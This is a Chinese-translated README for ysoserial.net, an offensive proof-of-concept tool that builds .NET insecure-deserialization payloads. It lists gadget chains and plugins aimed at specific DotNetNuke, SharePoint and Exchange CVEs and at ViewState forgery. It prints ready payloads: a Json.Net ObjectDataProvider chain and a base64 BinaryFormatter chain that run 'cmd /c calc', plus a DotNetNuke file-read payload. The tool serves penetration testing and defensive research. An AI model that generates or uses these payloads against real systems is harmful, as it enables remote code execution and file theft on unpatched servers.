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用于生成利用不安全的.NET 对象反序列化的有效负载的概念验证工具。
描述
ysoserial.net 是常见 .NET 库中发现的一组实用程序和面向属性的编程“小工具链”,在适当的条件下,它们可以利用 .NET 应用程序执行不安全的对象反序列化。主驱动程序接受用户指定的命令并将其包装在用户指定的小工具链中,然后将这些对象序列化到 stdout。当类路径上具有所需小工具的应用程序不安全地反序列化此数据时,将自动调用该链并导致在应用程序主机上执行命令。
需要注意的是,漏洞在于应用程序执行不安全的反序列化,而不是在于类路径上的小工具。
该项目受到Chris Frohoff 的 ysoserial 项目的启发
免责声明
本软件纯粹为学术研究和开发有效防御技术而开发,除非获得明确授权,否则不得用于攻击系统。项目维护者对软件的滥用不承担任何责任。请负责任地使用。
该软件是个人项目,与任何公司无关,包括项目所有者和贡献者雇主。
安装
为了获取最新版本,建议从操作页面下载。
您可以从发布页面安装 YSoSerial.NET 的先前版本
从源代码构建:
Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1')) choco install visualstudio2022community --yes choco install visualstudio2022-workload-nativedesktop --yes choco install choco install msbuild.communitytasks --yes choco install nuget.commandline --yes choco install git --yes git clone https://github.com/pwntester/ysoserial.net cd ysoserial.net nuget restore ysoserial.sln msbuild ysoserial.sln -p:Configuration=Release .\ysoserial\bin\Release\ysoserial.exe -h
用法
$ ./ysoserial.exe --fullhelp
ysoserial.net generates deserialization payloads for a variety of .NET formatters.
== GADGETS ==
(*) ActivitySurrogateDisableTypeCheck [Disables 4.8+ type protections for ActivitySurrogateSelector, command is ignored]
Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer , SoapFormatter
Labels: Not bridge but derived
Extra options:
--var, --variant=VALUE Choices: 1 -> use TypeConfuseDelegateGenerator
[default], 2 -> use
TextFormattingRunPropertiesMarshal
(*) ActivitySurrogateSelector [This gadget ignores the command parameter and executes the constructor of ExploitClass class]
Formatters: BinaryFormatter (2) , LosFormatter , SoapFormatter
Labels: Not bridge or derived
Extra options:
--var, --variant=VALUE Payload variant number where applicable.
Choices: 1 (default), 2 (shorter but may not
work between versions)
(*) ActivitySurrogateSelectorFromFile [Another variant of the ActivitySurrogateSelector gadget. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use semicolon to separate the file from additionally required assemblies, e. g., '-c ExploitClass.cs;System.Windows.Forms.dll']
Formatters: BinaryFormatter (2) , LosFormatter , SoapFormatter
Labels: Not bridge or derived
Extra options:
--var, --variant=VALUE Payload variant number where applicable.
Choices: 1 (default), 2 (shorter but may not
work between versions)
(*) AxHostState
Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer , SoapFormatter
Labels: Bridge and derived
Supported formatter for the bridge: BinaryFormatter
(*) BaseActivationFactory [Gadget for .NET 5/6/7 with WPF enabled or Microsoft.WindowsDesktop.App\PresentationFramework.dll available. Leads to remote DLL loading (native C/C++ DLL)]
Formatters: Json.Net
Labels: Not bridge or derived, .NET 5/6/7, Requires WPF enabled or PresentationFramework.dll
(*) ClaimsIdentity
Formatters: BinaryFormatter , LosFormatter , SoapFormatter
Labels: Bridge and derived, OnDeserialized
Supported formatter for the bridge: BinaryFormatter
(*) ClaimsPrincipal
Formatters: BinaryFormatter , LosFormatter , SoapFormatter
Labels: Bridge and derived, OnDeserialized, SecondOrderDeserialization
Supported formatter for the bridge: BinaryFormatter
(*) DataSet
Formatters: BinaryFormatter , LosFormatter , SoapFormatter
Labels: Bridge and derived
Supported formatter for the bridge: BinaryFormatter
(*) DataSetOldBehaviour [This gadget targets and old behaviour of DataSet which uses XML format]
Formatters: BinaryFormatter , LosFormatter
Labels: Bridge and derived
Supported formatter for the bridge: LosFormatter
Extra options:
--spoofedAssembly=VALUE
The assembly name you want to use in the
generated serialized object (example: 'mscorlib')
(*) DataSetOldBehaviourFromFile [Another variant of the DataSetOldBehaviour gadget. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use semicolon to separate the file from additionally required assemblies, e. g., '-c ExploitClass.cs;System.Windows.Forms.dll']
Formatters: BinaryFormatter , LosFormatter
Labels: Bridge and derived
Extra options:
--spoofedAssembly=VALUE
The assembly name you want to use in the
generated serialized object (example: 'mscorlib')
(*) DataSetTypeSpoof [A more advanced type spoofing which can use any arbitrary types can be seen in TestingArenaHome::SpoofByBinaryFormatterJson or in the DataSetOldBehaviour gadget]
Formatters: BinaryFormatter , LosFormatter , SoapFormatter
Labels: Bridge and derived
Supported formatter for the bridge: BinaryFormatter
(*) GenericPrincipal
Formatters: BinaryFormatter , LosFormatter
Labels: Bridge and derived, OnDeserialized, SecondOrderDeserialization
Supported formatter for the bridge: BinaryFormatter
Extra options:
--var, --variant=VALUE Payload variant number where applicable.
Choices: 1 (uses serialized ClaimsIdentities), 2
(uses serialized Claims)
(*) GetterCompilerResults [Remote DLL loading gadget for .NET 5/6/7 with WPF enabled (mixed DLL). Local DLL loading for .NET Framework. DLL path delivered with -c argument]
Formatters: Json.Net
Labels: Chain of arbitrary getter call and not derived gadget, Remote DLL loading for .NET 5/6/7 with WPF Enabled, Local DLL loading for .NET Framework
Extra options:
--var, --variant=VALUE Variant number. Variant defines a different
getter-call gadget. Choices:
1 (default) - PropertyGrid getter-call gadget,
2 - ComboBox getter-call gadget
3 - ListBox getter-call gadget
4 - CheckedListBox getter-call gadget
(*) GetterSecurityException
Formatters: Json.Net
Labels: Chain of arbitrary getter call and derived gadget
Extra options:
--var, --variant=VALUE Variant number. Variant defines a different
getter-call gadget. Choices:
1 (default) - PropertyGrid getter-call gadget,
2 - ComboBox getter-call gadget
3 - ListBox getter-call gadget
4 - CheckedListBox getter-call gadget
(*) GetterSettingsPropertyValue
Formatters: Json.Net , MessagePackTypeless >= 2.3.75 , MessagePackTypelessLz4 >= 2.3.75 , Xaml
Labels: Chain of arbitrary getter call and derived gadget
Extra options:
--var, --variant=VALUE Variant number. Variant defines a different
getter-call gadget. Choices:
1 (default) - PropertyGrid getter-call gadget,
2 - ComboBox getter-call gadget
3 - ListBox getter-call gadget
4 - CheckedListBox getter-call gadget
(*) ObjectDataProvider
Formatters: DataContractSerializer (2) , FastJson , FsPickler , JavaScriptSerializer , Json.Net , MessagePackTypeless >= 2.3.75 , MessagePackTypelessLz4 >= 2.3.75 , SharpSerializerBinary , SharpSerializerXml , Xaml (4) , XmlSerializer (2) , YamlDotNet < 5.0.0
Labels: Not bridge or derived
Extra options:
--var, --variant=VALUE Payload variant number where applicable.
Choices: 1, 2, 3, ... based on formatter.
--xamlurl=VALUE This is to create a very short payload when
affected box can read the target XAML URL e.g.
"http://b8.ee/x" (can be a file path on a shared
drive or the local system). This is used by the
3rd XAML payload which is a ResourceDictionary
with the Source parameter. Command parameter
will be ignored. The shorter the better!
(*) ObjRef
Formatters: BinaryFormatter , LosFormatter , ObjectStateFormatter , SoapFormatter
Labels:
(*) PSObject [Target must run a system not patched for CVE-2017-8565 (Published: 07/11/2017)]
Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer , SoapFormatter
Labels: Not bridge but derived
(*) ResourceSet
Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer
Labels: It relies on other gadgets and is not a real gadget on its own (not bridged or derived either)
Extra options:
--ig, --internalgadget=VALUE
The numerical internal gadget choice to use:
1=TypeConfuseDelegate,
2=TextFormattingRunProperties (default: 1
[TypeConfuseDelegate])
(*) RolePrincipal
Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter
Labels: Bridge and derived
Supported formatter for the bridge: BinaryFormatter
(*) SessionSecurityToken
Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter
Labels: Bridge and derived
Supported formatter for the bridge: BinaryFormatter
(*) SessionViewStateHistoryItem
Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter
Labels: Bridge and derived
Supported formatter for the bridge: LosFormatter
(*) TextFormattingRunProperties [This normally generates the shortest payload]
Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter
Labels: Not bridge but derived
Extra options:
--xamlurl=VALUE This is to create a very short payload when
affected box can read the target XAML URL e.g.
"http://b8.ee/x" (can be a file path on a shared
drive or the local system). This is used by the
3rd XAML payload of ObjectDataProvider which is
a ResourceDictionary with the Source parameter.
Command parameter will be ignored. The shorter
the better!
--hasRootDCS To include a root element with the
DataContractSerializer payload.
(*) ToolboxItemContainer
Formatters: BinaryFormatter , LosFormatter , SoapFormatter
Labels: Bridge and derived
Supported formatter for the bridge: BinaryFormatter
(*) TypeConfuseDelegate
Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer
Labels: Not bridge or derived
(*) TypeConfuseDelegateMono [Tweaked TypeConfuseDelegate gadget to work with Mono]
Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer
Labels: Not bridge or derived
(*) WindowsClaimsIdentity [Requires Microsoft.IdentityModel.Claims namespace (not default GAC)]
Formatters: BinaryFormatter (3) , DataContractSerializer (2) , Json.Net (2) , LosFormatter (3) , NetDataContractSerializer (3) , SoapFormatter (2)
Labels: Bridge and derived, Not in GAC
Supported formatter for the bridge: BinaryFormatter
Extra options:
--var, --variant=VALUE Payload variant number where applicable.
Choices: 1, 2, or 3 based on formatter.
(*) WindowsIdentity
Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter
Labels: Bridge and derived
Supported formatter for the bridge: BinaryFormatter
(*) WindowsPrincipal
Formatters: BinaryFormatter , DataContractJsonSerializer , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter
Labels: Bridge and derived
(*) XamlAssemblyLoadFromFile [Loads assembly using XAML. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use semicolon to separate the file from additionally required assemblies, e. g., '-c ExploitClass.cs;System.Windows.Forms.dll']
Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer , SoapFormatter
Labels: Not bridge but derived
Extra options:
--var, --variant=VALUE Choices: 1 -> use TypeConfuseDelegateGenerator
[default], 2 -> use
TextFormattingRunPropertiesMarshal
(*) XamlImageInfo [Gadget leads to XAML deserialization. Variant 1 (GAC) reads XAML from file (local path or UNC path can be given). Variant 2 (non-GAC) delivers XAML directly, but requires Microsoft.Web.Deployment.dll]
Formatters: Json.Net
Labels: Not bridge but derived, Variant 1 in GAC, Variant 2 not in GAC
Extra options:
--var, --variant=VALUE Variant number. Variant defines a different
Stream delivery class. Choices:
1 (default and GAC) - LazyFileStream for Stream
delivery, file path has to be provided for -c
argument (UNC or local)
2 (non-GAC, requires Microsoft.Web.Deploymen-
t.dll) - ReadOnlyStreamFromStrings for Stream
delivery, command to execute can be provided for
-c argument
== PLUGINS ==
(*) ActivatorUrl (Sends a generated payload to an activated, presumably remote, object)
Options:
-c, --command=VALUE the command to be executed.
-u, --url=VALUE the url passed to Activator.GetObject.
-s if TCPChannel security should be enabled.
(*) Altserialization (Generates payload for HttpStaticObjectsCollection or SessionStateItemCollection)
Options:
-M, --mode=VALUE the payload mode: HttpStaticObjectsCollection or
SessionStateItemCollection. Default:
HttpStaticObjectsCollection
-o, --output=VALUE the output format (raw|base64).
-c, --command=VALUE the command to be executed
-t, --test whether to run payload locally. Default: false
--minify Whether to minify the payloads where applicable
(experimental). Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple.
Default: true
(*) ApplicationTrust (Generates XML payload for the ApplicationTrust class)
Options:
-c, --command=VALUE the command to be executed
-t, --test whether to run payload locally. Default: false
--minify Whether to minify the payloads where applicable
(experimental). Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple.
Default: true
(*) Clipboard (Generates payload for DataObject and copy it into the clipboard - ready to be pasted in affected apps)
Options:
-F, --format=VALUE the object format: Csv, DeviceIndependentBitmap,
DataInterchangeFormat, PenData, RiffAudio,
WindowsForms10PersistentObject, System.String,
SymbolicLink, TaggedImageFileFormat, WaveAudio.
Default: WindowsForms10PersistentObject (the
only one that works in Feb 2020 as a result of
an incomplete silent patch - - will not be
useful to target text based fields anymore)
-c, --command=VALUE the command to be executed
-t, --test whether to run payload locally. Default: false
--minify Whether to minify the payloads where applicable
(experimental). Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple.
Default: true
(*) DotNetNuke (Generates payload for DotNetNuke CVE-2017-9822)
Options:
-m, --mode=VALUE the payload mode: read_file, write_file,
run_command.
-c, --command=VALUE the command to be executed in run_command mode.
-u, --url=VALUE the url to fetch the file from in write_file
mode.
-f, --file=VALUE the file to read in read_file mode or the file
to write to in write_file_mode.
--minify Whether to minify the payloads where applicable
(experimental). Default: false
(*) GetterCallGadgets (Implements arbitrary getter call gadgets for .NET Framework and .NET 5/6/7 with WPF enabled)
Options:
-l prints list of implemented gadgets
-i, --inner=VALUE file containing inner-gadget
-g, --gadget=VALUE gadget to use
-m, --member=VALUE getter to call (required for some gadgets)
-t test gadget (execute)
(*) NetNonRceGadgets (Implements Non-RCE gadgets for .NET Framework)
Options:
-l prints list of implemented gadgets
-i, --input=VALUE input to the gadget
-g, --gadget=VALUE gadget to use
-f, --formatter=VALUE Formatter to use
-t test gadget (execute after generation)
(*) Resx (Generates RESX and .RESOURCES files)
Options:
-M, --mode=VALUE the payload mode: indirect_resx_file,
CompiledDotResources (useful for CVE-2020-0932
for example), BinaryFormatter, SoapFormatter.
-c, --command=VALUE the command to be executed in BinaryFormatter
and CompiledDotResources. If this is provided
for SoapFormatter, it will be used as a file for
ActivitySurrogateSelectorFromFile
-g, --gadget=VALUE The gadget chain used for BinaryFormatter and
CompiledDotResources (default:
TextFormattingRunProperties).
-F, --file=VALUE UNC file path location: this is used in
indirect_resx_file mode.
--of, --outputfile=VALUE
a file path location for CompiledDotResources to
store the .resources file (default: payloa-
d.resources)
-t, --test Whether to run payload locally. Default: false
--minify Whether to minify the payloads where applicable
(experimental). Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple.
Default: true
(*) SessionSecurityTokenHandler (Generates XML payload for the SessionSecurityTokenHandler class)
Options:
-c, --command=VALUE the command to be executed e.g. "cmd /c calc"
-t, --test whether to run payload locally. Default: false
--minify Whether to minify the payloads where applicable
(experimental). Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple.
Default: true
(*) SharePoint (Generates payloads for the following SharePoint CVEs: CVE-2020-1147, CVE-2019-0604, CVE-2018-8421)
Options:
--cve=VALUE the CVE reference: CVE-2020-1147 (result is safe
for a POST request), CVE-2019-0604, CVE-2018-8421
--useurl to use the XAML url rather than using the direct
command in CVE-2019-0604 and CVE-2018-8421
-g, --gadget=VALUE a gadget chain that supports LosFormatter for
CVE-2020-1147. Default: TypeConfuseDelegate
-c, --command=VALUE the command to be executed e.g. "cmd /c calc" or
the XAML url e.g. "http://b8.ee/x" to make the
payload shorter with the `--useurl` argument
(*) ThirdPartyGadgets (Implements gadgets for 3rd Party Libraries)
Options:
-l prints list of implemented gadgets
-i, --input=VALUE input to the gadget
-g, --gadget=VALUE gadget to use
-f, --formatter=VALUE formatter to use
-r removes version and pubkeytoken from types, it
may be useful when we do not know version of
targetd library or require short payload
-t test gadget (execute after generation)
(*) TransactionManagerReenlist (Generates payload for the TransactionManager.Reenlist method)
Options:
-c, --command=VALUE the command to be executed
-t, --test whether to run payload locally. Default: false
--minify Whether to minify the payloads where applicable
(experimental). Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple.
Default: true
(*) ViewState (Generates a ViewState using known MachineKey parameters)
Options:
--examples to show a few examples. Other parameters will be
ignored
-g, --gadget=VALUE a gadget chain that supports LosFormatter.
Default: ActivitySurrogateSelector
-c, --command=VALUE the command suitable for the used gadget (will
be ignored for ActivitySurrogateSelector)
-s, --stdin The command to be executed will be read from
standard input.
--upayload=VALUE the unsigned LosFormatter payload in (base64
encoded). The gadget and command parameters will
be ignored
--generator=VALUE the __VIEWSTATEGENERATOR value which is in HEX,
useful for .NET <= 4.0. When not empty, 'legacy'
will be used and 'path' and 'apppath' will be
ignored.
--path=VALUE the target web page. example: /app/folder1/pag-
e.aspx
--apppath=VALUE the application path. this is needed in order to
simulate TemplateSourceDirectory
--islegacy when provided, it uses the legacy algorithm
suitable for .NET 4.0 and below
--isencrypted this will be used when the legacy algorithm is
used to bypass WAFs
--viewstateuserkey=VALUE
this to set the ViewStateUserKey parameter that
sometimes used as the anti-CSRF token
--decryptionalg=VALUE the encryption algorithm can be set to DES,
3DES, AES. Default: AES
--decryptionkey=VALUE this is the decryptionKey attribute from
machineKey in the web.config file
--validationalg=VALUE the validation algorithm can be set to SHA1,
HMACSHA256, HMACSHA384, HMACSHA512, MD5, 3DES,
AES. Default: HMACSHA256
--validationkey=VALUE this is the validationKey attribute from
machineKey in the web.config file
--showraw to stop URL-encoding the result. Default: false
--minify Whether to minify the payloads where applicable
(experimental). Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple.
Default: true
--isdebug to show useful debugging messages!
Note: Machine authentication code (MAC) key modifier is not being used for LosFormatter in ysoserial.net. Therefore, LosFormatter (base64 encoded) can be used to create ObjectStateFormatter payloads.
Usage: ysoserial.exe [options]
Options:
-p, --plugin=VALUE The plugin to be used.
-o, --output=VALUE The output format (raw|base64|raw-
urlencode|base64-urlencode|hex). Default: raw
-g, --gadget=VALUE The gadget chain.
-f, --formatter=VALUE The formatter.
-c, --command=VALUE The command to be executed.
--rawcmd Command will be executed as is without `cmd /c `
being appended (anything after first space is an
argument).
-s, --stdin The command to be executed will be read from
standard input.
--bgc, --bridgedgadgetchains=VALUE
Chain of bridged gadgets separated by comma (,).
Each gadget will be used to complete the next
bridge gadget. The last one will be used in the
requested gadget. This will be ignored when
using the searchformatter argument.
-t, --test Whether to run payload locally. Default: false
--outputpath=VALUE The output file path. It will be ignored if
empty.
--minify Whether to minify the payloads where applicable.
Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple
(always `true` with `--minify` for binary
formatters). Default: true
--raf, --runallformatters
Whether to run all the gadgets with the provided
formatter (ignores gadget name, output format,
and the test flag arguments). This will search
in formatters and also show the displayed
payload length. Default: false
--sf, --searchformatter=VALUE
Search in all formatters to show relevant
gadgets and their formatters (other parameters
will be ignored).
--debugmode Enable debugging to show exception errors and
output length
-h, --help Shows this message and exit.
--fullhelp Shows this message + extra options for gadgets
and plugins and exit.
--credit Shows the credit/history of gadgets and plugins
(other parameters will be ignored).
--runmytest Runs that `Start` method of `TestingArenaHome` -
useful for testing and debugging.
注意:指定复杂命令时,转义某些特殊字符(;、|、&、..)可能很麻烦。使用 stdin 选项(-s)从 stdin 读取命令:
cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s
注意: XmlSerializer 和 DataContractSerializer 格式化程序会生成一个包装器 Xml 格式,其中包括根节点的“type”属性上的预期类型,例如在 DotNetNuke 中所使用的类型。您可能需要根据 XmlSerializer 如何获取您案例中的预期类型来修改生成的 xml。
插件
Ysoserial.Net 可用于生成原始有效载荷或使用插件架构的更复杂的有效载荷。要使用插件,请使用-p <plugin name>
后跟插件选项(其余 ysoserial.net 选项将被忽略)。例如:
$ ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini
有关插件选项的更多帮助请使用。例如-h
:-p <plugin name>
$ ./ysoserial.exe -h -p DotNetNuke
ysoserial.net generates deserialization payloads for a variety of .NET formatters.
Plugin:
DotNetNuke (Generates payload for DotNetNuke CVE-2017-9822)
Options:
-m, --mode=VALUE the payload mode: read_file, write_file, run_command.
-c, --command=VALUE the command to be executed in run_command mode.
-u, --url=VALUE the url to fetch the file from in write_file mode.
-f, --file=VALUE the file to read in read_file mode or the file to write to in write_file_mode.
--minify Whether to minify the payloads where applicable (experimental). Default: false
--ust, --usesimpletype This is to remove additional info only when minifying and FormatterAssemblyStyle=Simple. Default: true
示例
使用ObjectDataProvider小工具为 Json.Net生成calc.exe有效负载。
$ ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd','/ccalc']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
使用PSObject小工具为 BinaryFormatter生成calc.exe有效负载。
$ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
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使用其插件为 DotNetNuke 生成 run_command 有效负载
$ ./ysoserial.exe -p DotNetNuke -m run_command -c calc.exe
<profile><item key="foo" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, System.Web, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfObjectStateFormatterObjectDataProvider xmlns:xsd=" [http://www.w3.org/2001/XMLSchema](http://www.w3.org/2001/XMLSchema) " xmlns:xsi=" [http://www.w3.org/2001/XMLSchema-instance](http://www.w3.org/2001/XMLSchema-instance) "><ExpandedElement/><ProjectedProperty0><MethodName>Deserialize</MethodName><MethodParameters><anyType xsi:type="xsd:string">/wEyxBEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACy9jIGNhbGMuZXhlBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=</anyType></MethodParameters><ObjectInstance xsi:type="ObjectStateFormatter"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfObjectStateFormatterObjectDataProvider></item></profile>
使用插件为 DotNetNuke 生成 read_file 有效负载
$ ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini
<profile><item key="name1: key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">win.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>
使用 ClaimsPrincipal 小工具内的 ActivitySurrogateDisableTypeCheck 小工具生成最小化的 BinaryFormatter 有效负载以利用 Exchange CVE-2021-42321。
> .\ysoserial.exe -g ClaimsPrincipal -f BinaryFormatter -c foobar -bgc ActivitySurrogateDisableTypeCheck --minify --ust
